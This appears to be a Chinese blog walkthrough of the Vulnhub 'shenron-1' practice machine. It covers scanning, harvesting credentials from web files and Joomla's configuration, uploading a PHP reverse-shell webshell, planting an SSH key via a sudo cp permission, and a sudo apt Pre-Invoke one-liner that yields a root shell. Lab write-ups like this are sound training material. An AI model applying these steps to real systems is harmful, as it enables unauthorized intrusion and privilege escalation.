0

点赞

收藏

分享

Vulnhub-shenron-1：神龙1靶机渗透攻略

船长_Kevin 2022-01-20 阅读 73

标签: linux 安全运维网络安全靶机

下载地址：http://www.vulnhub.com/entry/shenron-1,630/
虚拟化环境virtualbox
目标：获取两个flag

信息收集

nmap扫描

nmap -sC -sV 192.168.210.181
发现80http ，22ssh
在这里插入图片描述

网站信息收集

可以看到是一个apache的默认页
在这里插入图片描述

扫描一下后台目录
dirb http://192.168.210.181
发现joomla
在这里插入图片描述

在这里插入图片描述

发现test目录中有passwd
http://192.168.210.181/test/
在这里插入图片描述

查看password页面的源代码
在这里插入图片描述

得到用户 admin 3iqtzi4RhkWANcu@ $p a$ $

漏洞利用

getshell

登录一下后台 http://192.168.210.181/joomla/administrator/
在这里插入图片描述

选择一下插件
在这里插入图片描述

选择新文件，创建php页面，上传一个php反弹shell木马
在这里插入图片描述

访问页面
在这里插入图片描述

kali监听端口
在这里插入图片描述

python调bash
python3 -c "import pty;pty.spawn('/bin/bash')"
在这里插入图片描述

在/var/www/html/joomla路径下发现配置文件configuration.php
配置文件中发现
jenny Mypa$ $w o r d i$ notharD@123

在这里插入图片描述

切换到jenny用户
在这里插入图片描述

sudo -l 查看sudo权限，发现可以用shenron身份执行cp
在这里插入图片描述

ssh免密登录

kali使用python创建http
python3 -m http.server 8888
在这里插入图片描述

jenny下载id_rsa.pub到tmp下，在cp到shenron中
在这里插入图片描述

免密登录成功
在这里插入图片描述

在家目录中拿到一个flag
在这里插入图片描述

098bf43cc909e1f89bb4c910bd31e1d4

提权

在var/opt下发现password
在这里插入图片描述

shenron : YoUkNowMyPaSsWoRdIsToStRoNgDeAr
查看shenron的sudo权限，发现能执行apt
在这里插入图片描述

使用apt提权
sudo /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh
在这里插入图片描述

拿到最后的flag
在这里插入图片描述

0 条评论

关注